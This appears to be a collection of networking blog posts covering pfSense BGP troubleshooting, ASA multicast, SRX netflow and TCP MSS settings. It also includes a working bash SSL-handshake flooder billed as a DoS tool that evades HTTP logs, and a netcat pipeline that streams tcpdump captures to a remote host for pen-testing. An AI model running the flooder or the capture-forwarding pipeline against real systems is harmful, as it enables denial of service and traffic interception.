pfsense 2.1 rc woes with OpenBGPD

Will my ipv6-bgp  peering is halt for now, &  on my  pfSense 2.1rc vm instance. Arpnetworks has been great with providing  me the details  on my  peer setup  and diagnostics. What I found out that was quite interesting, they are using  OpenBGPd for my  upstream peer :)

You can find more about arpnetworks at this link;  https://www.arpnetworks.com/ . The folks at arp network are "A" okay to deal with. So if you need low cost VPS hosting and support for BSD+linux, they are the go to outfit.

So on to the problem with my ipv6 bgp-peer ;

May 30 02:35:34 s3 bgpd[4327]: neighbor 2607:f2f8:xxx::2 (DRS): state change OpenConfirm -> Established, reason: KEEPALIVE message received
May 30 02:35:40 s3 bgpd[4327]: neighbor 2607:f2f8:xxx::2 (DRS): received notification: error in UPDATE message, attribute list error
May 30 02:35:40 s3 bgpd[4327]: neighbor 2607:f2f8:xxx::2 (DRS): state change Established -> Idle, reason: NOTIFICATION received

Notice the NOTIFICATION received? Here's a decode of the notification from a packet capture;

Border Gateway Protocol
    NOTIFICATION Message
        Marker: 16 bytes
        Length: 21 bytes
        Type: NOTIFICATION Message (3)
        Error code: UPDATE Message Error (3)
        Error subcode: Malformed Attribute List (1)

Okay, so now what ? 

Will you have to find the codes to try to figure out the issue. In this case we are looking at error#3 and subcode#1 (update)  "malformed attribute list"

You can use this site for BGP errors referencing;

http://www.tcpipguide.com/free/t_BGPErrorReportingNotificationMessages-3.htm
(terse output )

code3

 sub-code 1 ( update )

Okay, so we now known what's  the code. 

It's going to take me some time to go thru the  sub-code to look at what could be the root cause to my issue(s). These code are very generic as to what to adjust or check,  so you will probably have to play around and do some googling. Worst case, I will have to jump into the  pfSense forum and post a question.

http://forum.pfsense.org/

This could be a mis-configuration or bug or something else going on.


Keep in mind the following; " Any time a BGP-NOTIFICATION comes in, it's typically a BGP Error and you session will always close "

You can using the following commands on cisco IOS, IOS-XR, pfSense, Junos to see if you ever received any notifications;

IOS;

show bgp neighbor 1.1.1.1
(snip)

 Message statistics:
    InQ depth is 0
    OutQ depth is 0
         
                         Sent       Rcvd
    Opens:                  1          1
    Notifications:          0          0
    Updates:             1175     193635
    Keepalives:        930840     806310
    Route Refresh:          3          5
    Total:             932019     999951
  Default minimum time between advertisement runs is 0 seconds

IOS-XR;

show bgp neighbor 1.1.1.1 detail
(snip)

 Message stats:
    InQ depth: 0, OutQ depth: 0
                    Last_Sent               Sent  Last_Rcvd               Rcvd
    Open:           May 31 21:20:59.997       15  May 31 21:21:00.044       14
    Notification:   May 31 21:00:46.271       10  ---                        0
    Update:         May 31 21:21:59.539        2  May 31 21:23:00.191   287160
    Keepalive:      Jun  1 04:08:00.496   165432  Jun  1 04:07:34.513   182000
    Route_Refresh:  ---                        0  ---                        0
    Total:                                165459                        469174
  Minimum time between advertisement runs is 30 secs

OpenBGP;

bgpctl show  neighbor MyUPLINKv6
( snip )
 Message statistics:
                  Sent       Received 
  Opens                    1          1
  Notifications            1          0
  Updates                  0       7863
  Keepalives               1          1
  Route Refresh            0          0
  Total                    3       7865

And finally Juniper;

show bgp neighbor 1.1.1.1
(snip)

Last traffic (seconds): Received 357  Sent 357  Checked 357 
  Input messages:  Total 4 Updates 2  Refreshes 0  Octets 211
  Output messages: Total 4 Updates 1  Refreshes 0  Octets 147
  Output Queue[0]: 0
  Output Queue[1]: 0
  Trace options:  all

In the mean time, I took the time to cleaned up my cfg  and made my descriptions to reflect  v4 and v6 in the neighbor statements and deployed some simple BOGON/MARTIAN protection  within OpenBGPd using the proper syntax & lingo;


e.g

bgpctl show
Neighbor                   AS    MsgRcvd    MsgSent  OutQ Up/Down  State/PrfRcvd
MyUPLINKv6              25795          0          0     0 Never    Active
MyUPLINKv4              25795      16795         26     0 02:21:46  92914

The Cfg I'm using

 Hopefully I will figure out what's the issue & the why. So stay tuned. I've also upgraded to the latest snapshot.

Ken Felix
Freelance Network/Security Engineer
kfelix .at. hyperfeed .dot. com

     ^     ^
= ( *   * )=
     /   o  \
 

Do you feel lucky punk 2.1 rc

Will I took my chance and jumped to release-candidate and wah lah it went smooth :)

So 2 back2back upgardes using opensource gear, not bad for opensource.


Ken Felix
Freelance Network/Security Engineer

Kfelix -at- hyperfeed --dot-- com

pfsense upgrade 2.0.1 to 2.0.3

Will tonight I  tried getting on my  console for my pfsense host and that looked to be a challenge. So I tried the  remote  auto-upgrade.

My 1st try at this was horrible, so I had my finger crossed. And wah lah ;

Total time less than 8mins from start to finish. Not bad for opensource :)



Ken Felix
Freelance Network Security Engineer
kfelix   at  hyperfeed ..... com

A very quick multicast routing ASA 9.1.X

In this post we will look at mcast routing within a ASA. It's quite simple to enable.

1st We identify the interfaces to enable for multicast. Here we will be doing our  vlan1,2, & 3 on a ASA5505. The configuration looks like this;

2nd we must enable multicast routing globaly

config t
 multicast routing 
end


And lastly, we check our configurations with a few show commands;

 

 By default we are enabled for IGMPv2 and  you can select version if so desired. The ASA does not support SSM or IGMPv3.

You can validate the  mcast table via the show cmd  "show mroute".

 
As with unicast traffic & policies, you will need  acl entries to allow multicast traffic to pass.

e.g
!

access-list out2in extended permit ip any host 224.2.2.11

!

Key gotchas to be aware with multicast routing;

 TTL expirations

 multicast boundaries filters

 the appropiate fwpolicies and direction

 igmp filter

 rpf checks  ( reverse path forward checks )

 src-network/host must be in your route  table

Ken Felix
kfelix  ---a---t---hyperfeed---dot----com

    ^     ^
=(  0  0 ) =
        @
         ~

A Follow Up, on the ASA "show inv" cmd bug

Will it looks like their was a bug in the ASA codeset.

I was looking at  upgrading my testing ASA5505  a week ago, and finally sat aside some time this morning and upgraded my unit, since the memorial weekend is over & I had some free time on my hands.

So now my  ASA5505 is running  9.1.2 and all is stable. The "show inventory" command, does NOT reload my  firewall;

and now our  ASA show inventory commands;

As with most code, it's only as good as your QA group.

Almost nothing is 100% perfect,  and all code has some type of bugs or hidden problem(s). If your in doubt to the above statement, than login into the cisco software download pages and read the release notes. And  than look at all of the bugs & caveats that are posted for that version of software release.

You got to love software development, and developers :)


Ken Felix
Freelance Network/Security Engineer
kfelix @  hyperfeed   .. com

Netflow on juniper SRX

In this blog we will discuss netflow(jflow)  and enabling this feature with regards to the SRX platform.

What is netflow? 

It’s a means to delivery statistics pertaining to  traffic via flow information,  & exports from a L3 device. Netflow was develop by cisco , but since than, "it has been adopted by most L3 router/switch manufactures". Even some opensource router/firewalls has netflow supported in their products.

http://en.wikipedia.org/wiki/NetFlow

Juniper has confused the general public,  in that they call  netflow...... jflow. It's also known as cflow ( cisco flow ).

I guess the marketing people  took the  approach of  not to use netflow or cisco flow in their materials. But bottom line; netflow,jflow,&cflow is the same damm flow.

Another new contender;   is known as IPFIX.  We will not discuss that version here,  since it's not as commonly used, and  has very limited support.

IPFIX  it's gaining in recognition and deployment. And most  vendors are adding support for IPFIX in their routers and layer3 switches. It ( IPFIX ) is  similar to version 9 , but it's not the same & is a  different beast.

http://en.wikipedia.org/wiki/IP_Flow_Information_Export

The parts of any netflow  deployment,  consists of at least two pieces;

1. The exporter ( router/firewall/switch )
2. The flow collector ( the device that decodes and store the flow details on )

Now why do we use netflow? 

Simple, netflow is used for numerous reason to include some of the following;

• host/server traffic accounting
• traffic & capacity planning
• growth tracking 
• network behavioral analysis
• DDoS detection, Forensic and Mitigation

Here's a typical netflow layout;

A few  consideration for netflow that you will need to know before running off and configuration your SRX for netflow ;

•    do you need sampling, and if so at what rate
•    what direction as regards to the interface  ( ingress/egress )
•    what version of netflow does your exporter and collector support
•    the purpose of the flow collection
•    what udp/port does the collector sits  at
•    collector ip_address

The above items will be required,  before we can attempt to configure netflow in the enterprise or service provider realm.

You will find netflow is simple to configure on a juniper device, and very well supported across most of the  juniper line up.  Juniper Network does impose certain restrictions  when configuring options within netflow, so it's best to research what these limitations are & with regards to the enabling of flow accounting.

In my lab we are using a SRX 210H branch firewall, which are very basic models in the SRX lineup. A bigger SRX or MX will offer more features and supported versions.

This unit supports  only netflow versions 5 , 8, 9 and 500. We will run thru  some of these  configuration and the gotchas.


1st netflow version 8,

This version is not as widely use as with version 5. But the configuration is about  the same & similar, so I'm demo'ing it.

BTW,  Version 5 is used in  most business and very well supported. It provides  the option to include AS origin information in the flow records. And most collectors supports this version to include the commercial ( Solarwinds, Lancope, ArborNetworks, Plixer,etc ) and most opensource deployments  supports this version ( nflowd, ntop,etc....)

With netflow on juniper we need to 1st enable NTP. If you don't you will be  welcome to this error message.

Next we enable the  v8  forwarding output and flow-server, plus enabling collection on the interfaces of interest. Here we are doing our inside vlan0 (ingress) for the inet-family.

note: we can't enable flow collection for inet6 ( ipv6) in this version of Junos. And ipv6 is only supported within  v9 or IPFIX.

 

set interafce vlan unit 0 family inet sampling input

and

set forwarding-options sampling input rate 0 run-length 0

set forwarding-options sampling family inet output  aggreggate-export-interval 90

set forwarding-options sampling family inet output  flow-server 10.98.10.10 port 5000 source 1.0.0.1 version 8

set forwarding-options sampling family inet output  flow-server 10.98.10.10 aggregation source-destination-prefix

With  version 8 you have to  enable the aggregation method, with out this you will get errors.

 

 NOTE: This is the one configurable item that version 5 , 500 or even 9 does not require.

So their you have it, you just seen  the main items for netflow configuration. Version5 would be the same as of above but with the version being "5"  and no requirement for "aggregationmethod".

Okay let's look at  netflow v9.

Version 9 is a template based netflow. What this means, we send a template on a set interval by the number of seconds,  or based on how many flows where exported. The collector will receive this template, and the template tells the collector how to decode the flow.

So you guess it , we need to 1st define our  template;

set services flow-monitoring  version9 template mynetflow option-refresh-rate seconds 120
set services flow-monitoring  version9 template mynetflow template-refresh-rate seconds 60
set services flow-monitoring  version9 template mynetflow ipv4-template

The template configuration has options to adjust the refresh rates. In the above example, I named my template "mynetflow" and set the refresh rates for this template and it's options at  60/120 secs respectively. The template refresh is a tweakable item & various  collector will be  more or less tolerant of the template refresh rate.  The template must be sent on some  type of interval in order to decode the v9 flow records.

Now we will build the forwarding options and specify the netflow template ( mynetflow ) from the above.

set forwarding-options sampling input rate 1 run-length 0

set forwarding-options sampling family inet output  flow-server 10.98.10.10 port 5000 source 1.0.0.1 version9 template mynetflow

 As you can clearly see, we get an error indicating a Service PIC or inline-jflow must be specified.

So in this model of hardware,  we would be limited in regards to configuring netflow 9. So this is what I mean that juniper has verison restrictions and limitations across all of the  juniper hardware devices,  from support of hardware and software/licenses.

Okay let's look at  AS500 configuration, it's the same for the most part to netflow  v5 minus the version number is now "500".

set forwarding-options sampling input rate 50 run-length 0

set forwarding-options sampling family inet output  flow-server 10.98.10.10 port 5000  version500

 
Okay now that you have been thru a few netflow configurations,  you can now capture and/or decode the flow data to ensure it's working as planned.

and a simple decode using tshark;

 

Okay to recap;

• we deploy netflow for various  reason
• Netflow has a few version
• Depending on the version selected you might have more configurable items
• v9 and IPFIX are template based
• Sampling is an option to consider
• NTP must be enable
• netflow systems are always made up at least a collector and the exporter

 

Ken Felix
Freelance Network/Security Engineer
kfelix ---at--hyperfeed ---dot--com

    ^       ^
= (  x    x ) =
         O
         ~

SSL flooder using openssl

We will re-look at another  simple ssl negotiation flooder  script that uses openssl. 

In this approach we repetitively  ask for the ssl handshake & negotiation. This repetitive requests, will raise the CPU and bandwidth for  the  delivery of  the cert and session setup.

Here’s the script;

#!/bin/bash

#

#

#rev 1.0

#  ssl  negotiation  generation & flooding via openssl and s_time

#

#    SSL neg flooder DoStool

#    Basically this tool loops the  ssl neg and request no HTTP traffic from the host,

#  so any HTTP application logs will not see any requests or L7 attacks

#

#

if [ ! $1 ]; then

            echo " Usage : $0  < The #of requests to execute>  <server or ip_address> <port> "

            echo ""

            echo "Example  $0  10 1.1.1.1 443 "

            echo ""

            exit 1

fi

#

i="0"

#

###set -xv

COUNTER=$1

MAX=9999999

if  (( $1 >= $MAX )) ; then

        echo "   "

        echo "Please make a request range of $MAX  or less"

        echo "   "

else

while [ $i -lt $COUNTER ] ;

  do   openssl s_time -connect $2:$3 -time 200  -nbio  -new 

  echo "   "

  echo " Request # $i "

  echo "   "

  i=$[$i + 1]

#   let "COUNTER += 1"

#

done

fi

And here's what tshark will decode;

 ( output shorten )

2013-05-23 16:05:20.912039    127.0.0.1 -> 127.0.0.1    TLSv1 1055 Server Hello, Certificate, Server Key Exchange, Server Hello Done
2013-05-23 16:05:20.913222    127.0.0.1 -> 127.0.0.1    TLSv1 190 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message
2013-05-23 16:05:20.913813    127.0.0.1 -> 127.0.0.1    TLSv1 115 Change Cipher Spec, Encrypted Handshake Message
2013-05-23 16:05:20.915249    127.0.0.1 -> 127.0.0.1    TLSv1 1055 Server Hello, Certificate, Server Key Exchange, Server Hello Done
1806 packets captured

And at the conclusion of each request, we will get some  benchmark numbers;

(output shorten)

 

ttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttt

55699 connections in 68.99s; 807.35 connections/user sec, bytes read 0
55699 connections in 201 real seconds, 0 bytes read per connection
  
 Request # 0

Ken Felix

Freelance Network/Security Engineer

I have a seat July 15 2013 CCIE RS

I finally got my voucher stuff straighten out. The number I was using was in correct. So a seat has been acquired and I'm heading back up July 15 2013.

I wrapping up my labs and studies for the next 5 weeks, and should be better prepared.

My high point and areas of main focus;

1. t-shooting layer2 
2. pfr routing
3. rmon & eem
4. gre tunnel 
5. ipv6 tunneling concepts
6. eigrp route distribution 

Ken Felix
kfelix at hyperfeed  dot com

tcp-mss adjustment Fortigate style

Since Fortigate's are my firewall of choice, I'm wrapping this up with a FGT sample.

 

Fortigate  like iptables/pf based firewalls, let's  you adjust  tcp-mss per fwpolicy entry.  You can adjust mss  in  either direction  ( send |  receive )

 

For the receive direction it would look like the following;

Be advise in all of these examples, ipv6 was not  demostrated  nor is it supported. As a matter of fact, on the JuniperSRX and Fortinet FWs,  you can't adjust mss within the gui or cmdline for ipv6 tcp traffic. Also  ipv6 uses a different approach with  mss setting and controls and prefer fragmentation at the client's ends.

And in the above  two fwpolicies,  you have to configure the  fortigate cmdline only. So get use to editing via " config firewall policy" :)

There you have it, my list of various ways to adjust TCP mss adjustment for  traffic.


Ken Felix
Freelance Network/Security Engineer
kfelix ---at---hyperfeed --dot--com

tcp-mss adjusment opensource firewalls iptables and pf

 
OpenSource Iptables and PF based firewalls that are designed around Linux/iptables or BSD/PF, has the ability to adjust tcp-mss values.
Great and needed for  PPPoE or VPN environments. The 1^st examples shows port specific adjustments.

(iptables example #1)  
iptables -t mangle -A POSTROUTING -p tcp --tcp-flags SYN --dport 22:25:80:110:179:443 -o eth1 -j TCPMSS --set-mss 1436

The 2^nd example show mss clamping ( aka  mss adjustment) to match the path mtu  minus the 40bytes for the  overehead ( 20+20bytes for the ip and tcp headers )

(iptables example#2)

iptables -A FORWARD -p tcp --tcp-flags SYN -j TCPMSS  --clamp-mss-to-pmtu

Both of the above will correctly set the mss value, with the example#1 being a manual adjustment. Experimentation in your setting, to determine which one is the best for you.

Now let’s move to BSD PF as commonly used  in pFsense style firewalls.

(pf example#1)
scrub in on em0  all max-mss 1436

The above will do the same for packets entering/leaving  em0, we could also clear  DF bits for allowances of proper fragmentation as shown below.

(pf example#2)
scrub in on em0  all no-df max-mass 1436

Once again, experiment in  your setting for the correct setup to ensure you have the proper values to allow for tcp-mss and packet fragmentation with udp/icmp traffic.

       ^      ^

==(  @  @ ) ==

-------------------------

TCP mss adjustment Juniper SRX

A few quick tips on the adjustment of systems wide or tunnel MSS values  Junos  11.X  SRX. 

The following  VPN  & GRE tunnels methods, has additional overhead, and extra headers. So the internet defacto standard of a 1500bytes mtu,  will not be available over these tunneling methods. A means most be imposed, to reduce the size of these datagram to fit these tunneling methods.

A quick means to ensure that we can pass datagrams, & with little to no fragmentation, requires us to intercept the tcp MSS value,  and  manipulate the value set in the 3wayhandshake. This approach only helps with the tcp protocol. With  udp protocol or any other protocol, we typically clear the DF-bit and allow the packets travel thru,  and  let any network layer3 device fragment as required.

e.g ( SRX  VPN tunnel )

set security ipsec vpn <VPN Name> df-bit clear

Without the DF-bit cleared, a router  with a smaller than normal mtu,  will drop theses packets if it can’t fragment. This will typically  generate a icmp.type 3/ icmp.code 4 message back to the sender. Theses icmp messages may or may not be received by the sender, due to  any of the following;  the rate-limiting of icmp protocol, control-plane policing, icmp-filters ( aka ACLs), firewalls/IPS or L3 routers setup to ignore or not generate icmp unreachable messages. Btw, a SRX  does  not send  icmp.type 3 icmp.code 4 due to over size packets for vpn tunnels, unless we use the df-copy bit option for the vpn definition.

In this post we will look at 2 methods for doing  a simple tcp-mss-adjustment  on a Juniper SRX. The Juniper MX is similar and I believe the  T/EX/J series offers something of the  same or similar. Btw I have very limited experiences with the M7i or M10i series, but I believe they have the same basic features/functions as  available in Junos and with these models.

1^st let’s look at  the system  internet-options that we can impose;

Take heed of the tcp-mss value of 1436  bytes, this will strike any MSS value greater than 1436 bytes,  and re-configured both the SYN or SYN-ACK packets within the layer4 tcp datagram.  It does not discriminate on either packet type, so any SYN packet will have the MSS value squeezed to the value set.

These  policies can be set at the command line via the following  set cmd

set system internet-options tcp-mss 1436

( the range 64 to 65535 bytes )

Next, these internet-options are applied to the security zone  of your choice. These internet options effected  any tcp-session that passes thru the SRX appliance.

Okay that’s one way to manipulate the tcp-mss, but we have another means available. And it has quite a few  more options.

Using the security policy we can set the mss for system globally and even tunnels. Here’s a screenshot from the jweb interface.

The 2 groups  shows the MSS value inputs that you can use. These allow for adjustment of the  tcp-mss for either system wide or any tunnel interfaces type.

 ( i.e  gr-0/0/0 or st-0/0/0 )

The cmd line options are quite easy to deploy also. You can use the following set cmd for  the adjustment of these values.

set security flow tcp-mss all-tcp mss 1436

set security flow tcp-mss  ipsec-vpn mss-1380

NOTE: Any  settings here over-rides the internet-options settings. It’s also ideal to adjust vpn ipsecs mtu values to ensure that ESP overhead is taking into consideration. Using unix ping with the do don’t fragment option to find the effective vpn-ipsec  tunnel mtu is highly advise able.

Okay now let’s see a before and after adjustment view of packets capture at a host.  The host 10.98.10.10 is sitting behind a  SRX and make a connection to  10.99.10.10  ssh tcp/22 using the Juniper  SRX NAT { 10.99.10.254}.

The 3 above tcp sessions where captures of the SYN/SYN-ACK , as seen via my  external host & within the  untrusted security zone. So my internal host  at  { 10.98.10.10 ( SNAT 10.98.10.254) }  had it’s mss value adjusted to 1400bytes and then I changed it to 1436 bytes. Before the change, my mss value was 1460 bytes ( 20+20 bytes for IP and TCP overhead  - 1500 = 1460 bytes )

As you can see, these   tcp sessions will now negotiate a tcp session of traffic no bigger than the set tcp mss value. We can validate the tcp  traffic flow by analyzing the  tcp-flow and looking at  ip datagram or tcp length  ( wireshark    ip.len or tcp.len )

I hope you found this post  helpful. Next we will look at  mss adjust  with linux/iptables

Ken Felix

Freelance Network/Security Engineer

Kfelix –at – hyperfeed ----dot-----com

       ^      ^

==(  @  @ ) ==

-------------------------

OpenBGP ipv6 pfsense ( update )

My provider has his side fixed now and I have the full ipv6 BGP table installed. Here's my table compared with  Hurricane Electric's ipv6 table

The final tally on memory consumption;

Not bad for a simple firewall and opensource

Ken Felix
Freelance  Network/Security Engineer
kfelix   a@t  hyperfeed d.o.t com

http://www.openbgpd.org/
http://www.pfsense.org/

X-Forwarded-Proto

We will take a look at this  x header and the  insertion of the originating protocol for web services.  One big problem with  multi-services web hosts, we have no means to quickly identify the  src of the connection origination method ( http | https )

A weblog typically shows us the client address, user-agent, httpGetMethod and the url. But did the client  come  by the means of http ? or https  secured ?

A  custom  X header can be inserted via the reverse proxy,  that can flag the connection type as being http non-secured or  https secured.

"X-Forwarded-Proto:"

This header  field is being used more and more, by thousands of webservers on planet earth to help id the origination protocol. You can use any modern SLB to insert this field ( i.e  vendors  F5; A10, Radware, LVS, ServerIron )

e.g

request-header-insert X-forwarded-Proto:http
request-header-insert X-forwarded-Proto:https

This additional header value is small, but  beneficial for web site analysis , and for providing details on the client's connection type.

Here's a dump of a  typical http header X-Forwards;

X-Forwarded-For: 10.10.19.11\r\n
X-Forwarded-Proto: http\r\n


The latter is for identifying the connection type.

Ken Felix
Freelance Network/Security Engineer
kfelix   a-t hyperfeed d-o-t com

Using netcat to push dumped traffic to another host

Have  you ever been in a bind, where a network tool is available on a remote host and  your traffic of interests & that your trying to capture,  is on another host?

In my case, I use a very good L4 analysis tool that does not compiled very well under OpenBSD. So   I use my cloud based linux host, that has all of my tool/pkgs  installed.And with netcat, I can make a session and send my capture traffic thru to that host for analysis real time or later on.

Here's my setup,


HostA ( capturing machine )
HostB  ( A Cloud based linux host with my hacking tools installed :) )

So on hostA it would need access to HostB, this can be done via any means, but I've used  in the past ssh-tunneling, vpn-ipsec and in some cases I will would install a temporary iptable rule to  allow access on HostB and open it to the world.

e.g ( netcat will be enable on HostB port 24001 so a rule similar to below )

iptables -A INPUT -p tcp --dport 24001 -j ACCEPT

Now on HostB we start netcat on port 24001 and dump it's output to a file named "hosta.pcap".

nc -l 24001> hosta.pcap

and you can validate it's started via;

netstat -an | grep 24001
tcp4       0      0  *.24001                *.*                    LISTENZ
Zbab12:~ kfelix$


Now on HostA we can start our capture side of things. What we will do is enable nc and to send it's ouput to HostB, we will also pipe  our tcpdump output into netcat. So for this example, I'm dumping on my em1 and sending that output to  netcat on HostB via HostA netcat.


tcpdump  -s 1500 -l -w - -i em1 tcp and port 80 | nc  1.1.1.1 24001

At this point your writing the pcap output to netcat on HostB  and a written filename "hosta.pcap" will contain the  pcap content. I use something like the above when  pen-test with a onsite or remote plug.

key take aways from  this blog;

• ensure you have  access on the tcp/udp ports for nc and any acl/rules consideration
• make sure to use "-l" for tcpdump for buffering
• whatever nc port you use, make sure it's open
• ssh tunneling or vpnclient is your friend

Now go out and pen-test something :)


Ken Felix Freelance Network/Security Engineer
kfelix --at-- hyperfeed --d-o-t--com
     ^       ^
= ( @ @ ) =
          o
         ~